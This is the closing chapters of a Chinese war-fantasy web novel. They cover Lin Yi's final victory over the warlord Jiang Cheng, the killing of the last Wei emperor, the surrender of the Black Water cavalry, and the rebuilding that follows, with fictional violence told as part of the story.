这边三线合围,直下中原,那边横扫山东河北,现在流民都晓得往哪里跑了,肯定不是往江骋怀里撞啊!被林一经营几年的地方,人都有积蓄的,许多人手提肩扛用车马拉,也要把家里的粮食往林一那边带,西北军打地盘通常打得很快,然后打完了搜刮不到什么东西,因为林一的地盘上压根没有大粮仓,粮食呢?粮食在老百姓手里,老百姓呢?老百姓追着林一跑了。 地盘越打越大,西北军越打越瘦,每个人都杀人如麻,战力是绝对不差的,但那种癫狂疯感渐渐弥漫开来,江骋是从来不招兵的,他只用精锐,但是精锐也是精神最不稳定的那一批,这点林一可以作证,她也是源生战士中的精锐老兵,在编那会儿整天想着搞事来着,但凡没那个可以要命的芯片,她发起疯来不知道要宰多少人。 四月,沃土千里的河北几乎没有一处种好的田地,人都挤在南郡颍川汉中一带了,这些河北流民往往拖家带口,秩序井然,跟着林一扒拉出来的诸多世族官员安置,没有地种没关系,家家户户都带着余粮呢,大多甚至还是同村同宗族同姓的一起跑的路,这样安置起来也很方便。两日前,洛都被下,是庞氏姐妹第一个进的城,两人从前在洛都长大,几年……也就是几年不见,只觉得记忆里的洛都和如今满目疮痍的洛都完全不一样了。 庞氏老宅当然和之前不同了,早在庞氏满门男丁被杀,妇孺流放的那年,这座位置很好的老宅就易了主,之后里面换了个样子,不过这和庞半天没多大关系,她原先在老宅也就和四个姐姐住一个绣楼,很少乱跑。 那绣楼还在,里头空得吓人,庞六娘——因为她改的那个名字对庞半天来说太难听了,她也就还喊六姐,她抱着胳膊嗤笑道:“非要回来看这一眼做什么?要我说杀进皇宫里,没准还能抓到几个皇子公主的,宰了也算出一口气。” 庞半天身边,呼兰阙利扶了她一把,没理这个偏激的妻姐,而是低声说道:“你要是喜欢,就与主君要来这宅子,我们重新翻修一下,我会盖房子,给你弄得和从前一样。” 庞半天笑了一声,点了点头,“宅子是要,不过不用和从前一样……” 庞杀冷笑,“是啊,从前有什么好,庞家每个少爷都有院子,我们姐妹几个就挤在一间楼上下,大姐在楼下和侍卫偷亲嘴都听得见,每天吵得烦死了。” 庞半天拉过姐姐的手,很认真地道:“不必想从前,现在我们是庞家的最后的血脉,也是最后的支柱,这座宅邸是你的,是我的,六姐,你还走不出来吗?” 庞杀没吭声,踏出了绣楼,绣楼的隔音确实不高,庞半天在二楼看自己曾经的房间,都听见底下她叫士卒集合的声音。 过了没多久,呼兰骨进门,连忙道:“六姐去宫里了,说要杀几个萧氏宗室,主君还没来,她这样会不会?” 呼兰阙利摇头,庞半天也摇了摇头,“主君她……知晓阿姐的委屈,不会怪罪她。” 然后庞杀就撞了个大的。 魏帝萧宏,或者说是魏末帝萧宏他躲在一处后妃的宫室里,当然在庞家姐妹没杀进来之前,他还是住在皇帝寝宫的,萧玲珑出过气之后就没再管他,而江骋实际上掌控中原之后也没去动他,萧宏身边甚至还是有一批太监宫女在侍候他的。 庞杀一把把他从宫室里拖了出来,从后宫拖到前殿,老头扑腾不过她,好几个老太监呼喊着陛下,被雍西军拿刀驱赶着,庞半天来的时候,萧宏已经被拿刀划拉得遍体鳞伤了,她盯着萧宏看了很久,庞杀喘着粗气问她,“怎么?不敢杀皇帝呀?专为你留了一刀,你不杀就我来!” 庞半天看了半晌,轻声说道:“没见过,他没见过我们,我们也没见过他,但是他杀庞氏满门,就只用一道旨意而已。” “费什么话,杀不杀?”庞杀喝问。 庞半天上去就给了萧宏一刀,划在了脑门上,这一刀没杀死,庞杀嗤笑一声,一刀了结了萧宏。 庞半天也大喘气起来,她这辈子还没有动过刀子,不知道杀人要往哪里捅,但是这只是皮外伤的一刀,给了她莫大的安慰,仿佛亲手终结了什么东西。 林一赶来的时候,差点都没找到萧宏的脑袋,王澈和呼兰霍兰那一线兵力是在三个时辰后赶到的,王澈和萧宏也有仇,只不过仇没那么大,但王氏在流放途中仍然死了族人,在被流放到边郡之后,又有多少寄人篱下,用了多少世族“最后的手段”,他比两姐妹平静一些,然后找了宫里的快刀手,准备把萧宏做成饺子馅。 要不是林一听到风声赶过来了,可能王澈和庞家姐妹晚饭就吃这个了,她吓了一大跳,人吃人……那是会得病的啊! 王澈盯着碎骨肉看,语气仍然挺平静的,“不吃脑子,只吃肉,一次两次的没事,会得病的主要是吃了脑……” 林一上去就给了他一拳,攮在他俊朗无双的面容上,王澈眨了眨眼睛,看起来有些醒过神来了。 林一又给了庞家姐妹一人一个大逼兜子,呼兰阙利很心疼地抱着庞半天,庞杀自己向后靠住了柱子,林一揉了揉太阳穴,让人去给萧宏收了尸,这世道,咋还越来越血腥了。 第187章 老登下葬的那天,排场很大。 这排场不是林一给的,林一就给了个棺材加两刀纸钱,排场主要来自于民心。 当天很多老百姓互相搀扶着过来送行,并纷纷贡献出平时舍不得吃的烂泥巴、臭潲水和珍贵的猪粪蛋蛋砸向萧宏的棺材,林一对萧宏挺好的,毕竟当过她几天便宜爹,所以给整了个棺材,把他埋北邙山里去了。至于萧宏从登基继位就开始修的皇家陵墓,那玩意儿西北军能掏走的全掏空了,林一去看过,连镇墓兽眼睛里四个宝石珠子都给扣走了。 也不光是萧宏,北邙山中好多大墓都被洗过了,毕竟洛都的权贵几乎都死绝了,没人抗议就等于没干过。 从前世族对三大反王挑挑拣拣,因为林一是女君的缘故,仿佛一个身家清白长相俊美的男子投奔过去就是奔着鸟大王的后宫去的,世族都有一种奇怪的矜持,总之就是,除了被林一打下来的郡望世家,很少有人主动来投,林一的名声也是在世族里越传越荒淫无道的。 而陆行的名声同样不咋地,他靠着江东六郡十三家大族在背后织成的巨网起家,一个联盟也是有先来后到的,中小世族可以不在乎这些,大世族要脸的,不是实在没招,比如自家的田慢慢地长在了陆行的地里,真没大族愿意主动去当十四妹。 相比之下,对世族分外礼遇,又愿意接受联姻(别管睡没睡总之进门了),江骋的名声反而是最好的,当初林一拿下范阳郡时,就有范阳大郡望卢氏主家抛弃支脉跑去西北的事,这种事不少。 然后雪域骑兵大举南下,江骋大败,入主中原,他就给世族们上了一堂大课。 数年战乱不歇,中原反而因为三大势力各自发育,成为一个夹在林一和江骋中间的夹缝地带,没有遭受太多战火波及,越是临近亡国,就越是沉溺于奢靡享受,官员权贵嗑药成风,以放浪为荣,洛都照旧是歌舞升平。 不少人在江骋兵临城下时都没以为他会做什么,毕竟新君入朝,总要有新的位置腾出来,谁能想到一向在世族之中名声极好的江骋,进城门的第一件事就是封锁城南城北,将普通百姓驱到一处,冲入各家宅邸抓走下仆奴役,也驱至集合地。当时权贵们以为是这些兵蛮子抓男做壮丁,抓女做营妓来着,还在暗暗感叹江骋做事讲究,不带走半个世族男女,如此耗费了些时间,封锁完成后,西北精锐的屠刀就来了。 洛都的天街一向是权贵走马之地,越靠近皇宫,越显尊贵,而那一日,天街满路尽尸骨,遍地无一草芥身。 别说把天下世族都吓坏了,就是跟着西北军逃来的西北世族也一脸懵逼啊,咋个回事?昨天破城前西北世族还开会呢,哪家可以拉拢,哪家必须排挤,各种议题论到天明,咋?直接就解决掉了? 江骋是杨裳改姓易宗的儿子,不少西北世族甚至都不晓得江骋十九岁之前一直是洛都人,洛都见证了他一生中最落魄的光景。 当然了,这话要给韩小六听他得骂个三天三夜不重样,将门虎子最落魄的光景是在禁军里任职,托到人情还领上了校尉职务,还负责送公主和亲,这叫落魄?韩大将军最落魄时和朋友下乡收贩生猪还挨恶霸打,还钻……停停停,还不到给韩公写史的时候。 总之就是,林一收到了一座很干净的洛都城,别说世族了,连老百姓都能搬走就搬走了,实在不肯走的大多孤寡残疾老幼难行,毕竟虽然死的都是那些贵人,可西北军驻扎得不远,谁见到那帮兵爷不怕呀。 收到的也不光是洛都城,还有一个脖颈上缝合十多针的小少年,由四个西北骑兵护送来的,江骋下这道令时还是他刚打下九江,九江郡守夫妻殉城而死,死前怕儿女遭罪亲手割喉,妹死兄存。这小少年的伤口一点都不浅,是西北军中的老医琢磨了办法,拿妇人的缝衣针给他绞了起来,剩下的就听天由命。 小少年的命就是这么大,缝合好了之后就扔在伤兵营,结果真的醒过来了,因为江骋先前有令,当真就找了人送来给林一。 四个护送的骑兵带着一个重伤的小少年,这一路上又遭逢三大势力的乱战,把河北转了个大圈,没想到是回到洛都来送人的,林一检查了一下小少年脖子上的伤口,伸手想摸摸那道原始人类医学奇迹来着,没敢真摸下去,她忍不住嘶了一声,这真是亲爹下的手啊。 而小少年陶白,一路沉默寡言,见到*林一却一下子满脸泪水叩拜行礼,哭道:“陶氏孤儿,叩谢林君,复我九江,助我百姓,家父家母家妹在天有灵,当借我之身,再三拜谢。” 他一口气行了九叩大礼,林一真不敢扶他,小少年脖子上一道很深的红疤,跟个沿虚线剪开的图案似的,她都怕叩头把头叩掉了,好在小少年很懂事地没有要林一扶,叩拜完自己爬了起来,冷静地道:“林君明鉴,这四位叔父,原是西北军中奉命护送小人而来,路上见闻了许多事后,已经诚心归附,愿为林君效力。” 小人是小孩子的自称,是将自己放在小辈的位置上,林一看了看四个西北壮士,点点头算是同意了。 陶白的事还没完,林一其实准备把他送陆行那边去的,但是他大概之前就对林一这边的事比较了解,再三表示他想在林一军中效力,希望有一日能够斩下江骋的人头报仇雪恨。 说真的,他要是说自己准备读点书考个官员来给林一分忧,这个还比较合理,毕竟一脸的聪明相,可是亲手斩江骋……林一出于对陶白父母的敬重没有笑,很严肃地点点头,然后叫来呼兰霍兰,行了,带孩子锻炼锻炼去吧。 五月过半,林一把战线推到了定陶一带,陆行也卷土重来,这次听林一的指挥从后方把住了江骋的胳膊,为了让林一更好地动手。 然而没把住,反而在林一动手的时候被捅了肚子,西北军直接放弃在林一后方打下的地盘,近八万瘦得像鬼一样的西北军一路推进,自青入徐如群狼奔袭。陆行的军队差点给打散了,是绕到林一这边才重新组织了队伍,林一也是服气的,她来回两边飞,就是为了全面控制战局,这还能让江骋翻盘?江东锦绣富贵地,让西北军杀进去可还行? 她也不管怂兮兮的陆行了,把他远远甩在身后,分左右中三军呈三叉戟式叉往江东,这一战从五月打到七月末,西北溃兵不论是被杀的被俘的自己跑来投降的,逐渐散了个干净,其中有一支是西北大世族赵氏家主带人来降,光是这一支降军人数就近万了。倒是半个熟人,林一麾下女将赵春儿原本是大族部曲之女,这大族就是西北赵氏,三十年河东三十年河西,赵春儿领兵接手降卒的时候,赵家主并不认得她,一口一个女将军,很是敬重。 江骋麾下越打越少,除了林一步步紧逼的缘故,还因为他的军中分三六九等,嫡系的黑水骑兵待遇最好,精锐西北骑兵其次,步卒更次,放在西北军一路势如破竹之时,这等级规定能够实现层层压制,使士卒令行禁止,但放在吃了败仗之时,就就像是剥苞米棒子了,外层的叶子一层层脱落,只剩下金黄灿烂的内里。 黑水军定员三千,这几年的征战死伤不少,但后续都补足了兵员,仍旧是老江氏的那些班底,兄死弟来,父死征儿,乱世里愿意拿命搏前程的人会变多,但自从离开西北之后,黑水军渐渐不再补充兵员了,这一路战下来,还跟在江骋身边的共计一千二百骑。 王清云被江骋放在了泰山郡,当时泰山郡一线的是王澈指挥战局,他知道这点才把王清云留了下来,同时被留下的是那些后院妾室,女眷减少代表着很多东西,但江骋不深想这些。 如今一路战,一路败,败至丹阳,身边将领要么逃了要么战死,只剩一个周鹏,从少时陪伴他到现在的周鹏,身边的女人只剩下萧玲珑。 江骋到了丹阳就不再跑了,山下隐约有火光,他忽然说道:“周副将,你下山去吧,你与林一相识一场,让她看你颜面,放过他们。” 周鹏没说话,人饿了几顿就会开始沉默,断粮虽然只有两天,但对士气的打击很大,能跟着江骋走到这里的无一不是忠心耿耿,也看淡生死的人,总之就是很沉默。 江骋的话也不多,说完就走到一处高地,萧玲珑坐在那里,她白天时候是裹着一套灰袍的,现在灰袍铺地,露出红绸金线的裙裳,江骋晓得她把这衣裳从洛都带来,只穿过两次。 萧玲珑也看着山下火光,笑道:“没有新妆,怕是失色。” 江骋摇头,萧玲珑很美,她十几岁就很美了,两人第一次交谈是在去和亲的途中隔着车帘,但实际上他还在禁军任职时,就见过她一面。 那时候没什么感觉。 现在想要回到那时光景,又怎么可能呢?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第188章 全文完 第188章 山下守着林一的先锋军队,白天的时候打过两次小战,互有伤亡,因为江骋到了丹阳就不再跑了,打他他就回头打,导致这些天的战事很频繁。 现在江东的兵力渐渐从四面八方赶来,都临时归于林一调遣,共计骑兵两千,步卒四千,但她很谨慎,还在观望情况,准备拖一拖等集合更多的人马,这不是怂,她可不怂,现在上去单杀江骋都行,主要是惜兵,她不想在最后了还造成一些不必要的伤亡,毕竟末路的狼最后一搏时更可怕。 然后,就等到了黑水军往山下丢盔弃甲。 起初是兜鍪,然后是甲胄,最后是兵刃,这是战场上几乎约定俗成的规矩了,丢盔弃甲扔兵器,就是铁了心要投降,目前来说林一没有杀过降军,当然有过个例,她也宰过一些对平民百姓犯事的降卒。林一不要太好的名声,就讲一个公道而已。 林一马上让人收缴了盔甲兵器,先是一小拨十几个人下来探路,没多久百十个人从山上下来,和一般的败军不同,黑水军的每个人看起来都是不是煞气浓重的那种。他们都很消瘦沉默,脸上几乎无肉,眼睛外突,嘴巴紧抿,和林一的士卒可以一眼区分出来,这是人长期处于警惕状态才会发生的体貌变化,士卒是不能长年累月待在战场环境的,人会出问题。 等了很久,林一让这些黑水军分散开来蹲,也方便数人头,数了共计九百二十三人,最后一个下山的是周鹏。 林一认得他,或者说记得他,她刚来到这个星球,最先见到的人之一,周鹏带她逛街市,吃烤羊,他还会比划手势,看起来像简洁的舞蹈,几年过去了,他看起来变化很大,黑瘦许多,见到林一,把手里的剑举起来,举过头顶,然后跪了下来。 “江骋呢?”林一废话了一句。 周鹏嗓子很哑,张嘴两次硬是没发出声音来,好半晌才道:“将军说,愿以身死,换黑水军残部九百二十三条性命。罪人周鹏,也求林君看在昔日相识同路的份上,恳请林君不追究罪人罪行,放他们归乡种地,养家糊口。” 林一用爪子挠了挠头皮,总觉得……江骋好像没什么文化的样子,这不是人家九江郡守的遗言吗? 总之她上山去看了一眼,见星夜绚烂如花,将军铠甲,抱红裳美人于树下。她愣神片刻,犹犹豫豫地走了过去,还是亲手挖坑埋葬了他们。 再见了,我在这个星球最初的同行人。 从山下下来的时候已经夜半,林一让后勤那边给黑水军俘虏们熬了稻米粥,不是她奢侈,而是进入江东之后就这么奢侈,因为是人家江东联盟战略合作伙伴的缘故,林一的军队在江东走到哪里吃哪的大户。 而她的名声在世族之中第一次迎来了翻转,因为她是在江骋后头来的,经历过西北军的横冲直撞,林一在后头过来的时候,好多世族大家都要哭了,然后发现鸟大王既不烧杀抢掠,也不强抢美男,甚至吃喝都是记账的,等战后和陆行再掰扯。 周鹏吃不下粥,一直看着山中,林一知道他在想什么,旧主末路,按理来说这些人都跟着江骋败到了这里,是早已将生死置之度外的,说的就是周鹏,但他的脑子显然没有江骋的好,江骋把他绕进去了。 明明黑水军下山投降也不会就被林一悄咪咪地杀了,她又不是什么杀人魔鬼,但他说“让她看你颜面”,周鹏就背上了这九百二十三条性命,直到这时反应过来,他应该殉主而去的。 林一给了周鹏一块肉饼,压低声音说:“来,吃点,等会儿我们要回城了,这些黑水军的事没人比你更了解了吧?我不用这些惊弓之鸟,给江骋个面子,放他们归乡种地,家里穷的还分田呢,但是你要给我一个个担保了,战场上的死伤不计,他们有没有杀伤平民的事,你要一一报备,归乡之后有没有可能伤人?这些可都是事儿,我可能会先搞一个老兵村,让他们适应几年环境再放回家……” 她的声音很粗哑低沉,却是周鹏记忆里的样子,他的目光终于不再盯着山里的方向看了,苍白干裂的嘴唇扯出了一个像是笑的弧度。 八月中旬,浩浩荡荡的返乡潮来临,许多避难的百姓在各地郡守的带领下有条不紊地吃着豆橛子返乡,豆橛子才是真的神!一捆又一捆,配合着江东掏的军费(折换成粮食),总算是被在返乡途中饿死人,因为战事的耽搁,这一年没有种地,临近秋季,林一速考了一批官员,马上录用马上分派土豆甘薯根茎种苗,准备赶一波种植季,在这个时候谁跟她浪费时间她跟谁急。 苏赫阿那都作为官员的一员下乡去派土豆种苗了,更别提其他人,林一弄来的土豆种子很好长,如果时间上来不及,其实可以从雪域那边调粮,毕竟自打雪域有了能种的东西,雪域人恨不得牛羊放到那里就把土豆带到哪里,产量大到已经有人研究出了土豆粉末子,虽然那玩意儿怎么吃都不如土豆本身好吃,但是耐放耐储存啊。 如此忙活到雪期,林一是真的感觉精力耗尽了,在勃海抱着自家尤物躺了足足五天,躺到苏赫阿那一脚给她踹屋外去了。精力耗尽是耗尽了,怎么耗尽的别问,问就是忧国忧民给闹的。 赶在年关,勃海郡也是迎来外宾了,陆行绷着一张脸,带着他的六郡十三家老班底以及七十二路江东小反王来考察了林一治下的民生,不要怪人家陆行脸臭,谁叫先前和他争江东王的虞卿回去了一趟,以游历天下和在林一治下当牛做马的丰富阅历,摆事实讲道理,击败了口才一流的陆行。 主要情况就是这么个情况对吧?六郡十三家可以托举出一个江东王,可以托举出一个天下共主吗?没可能的啦!江东这边之前对江骋的战力体会不深,自从给西北军从南打到海,谁还敢说西北军战力不行?就这样的西北军被林一给拿下了,关键战损都很小,以这样的实力,打你江东怕不怕?想不想再挨打?而且你们家陆行跑去岭南打野人都没打过,这辈子江东是不是就玩单机了,也不打算卖货了? 有理有据,主要是很多世族确实在经营生意,人家江东巨富可不是因为种地种富的,而是靠商业,两条主要销路,一条销往北边,一条销往中原,甚至有的生意做得大的,是跳过中间商直接走雍西那边和外商交易的,战乱一起,财路全断。 世族们看看陆行,看看林一,看看林一,看看陆行,怎么比啊这个?连陆行他爹都皱巴了一张老脸,勉强露出个慈和的笑容,崽啊,咱回家吧,咱不跟别人比,爹知道你是最好的就行。 有其父才有其子,陆行的人品教养挺好的,这就是他为什么一直能团结联盟不散架,但是人品是出众的,能力是有限的,尤其他吃了败仗被西北军打进江东腹地,要不是林一力挽狂澜,真不知道江东要遭受多大的劫难,就这个,他就压不住底下滚滚浪潮了。 啊当然他也没死。 转过年就让林一弄了一个官位,很高,好像是魏朝专门管外贸的官位,林一对这个不熟悉,主要是苏赫阿那这么建议。江东这边其实还算慢的,巴蜀才是真的快,在推翻了吃人魔王之后,巴蜀这边的有识之士联合起来……把联盟打翻了,联盟?联个屁!再赶不上趟,豆橛子都吃不上了! 当然,林一现在是不吃豆橛子的,实在是吃伤了,而做老大最好的一点在于,不想吃什么,没人逼着吃。 这会儿鸟大王正坐在洛都皇宫大殿门口的台阶上,剥开一个刚烤好的红薯,啃了一口,很不文明地掰开一半,连啃过印子的地方一起,递给身边的苏赫阿那。她腮帮子鼓鼓的,指着皇宫里面说:“以后住的地方不用太大了,那些宫室不少空着的……” 苏赫阿那握着烤红薯看着她,林一噎了一口往下咽,露出了丑恶的嘴脸。 “官署离得太远了!加班不方便,直接在皇宫里建各级官署,把皇后的宫殿留给你,其他的各部门都挑好位置,什么这个妃那个妃的屋都建成官署,前面办公,后面宿舍,地方不够还可以加上下床。新时代啊,百废待兴啊!要为百姓做更多的事情啊,连驴都不能这么歇着!” 苏赫阿那这才收回凛然的视线,慢悠悠地剥开红薯皮,咬了一口,两个高大的身影坐在门槛上,肩膀靠着肩膀,夕阳余晖落下,明月逐渐高悬。 林一心虚了一下子,很快深沉地遥遥望向天际,鸟生一场,脚不沾地,匆匆忙忙,休息片刻吧,明天又是新的篇章等着她—— 星辰如雨,宇宙如梦啊。 ——全文完魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m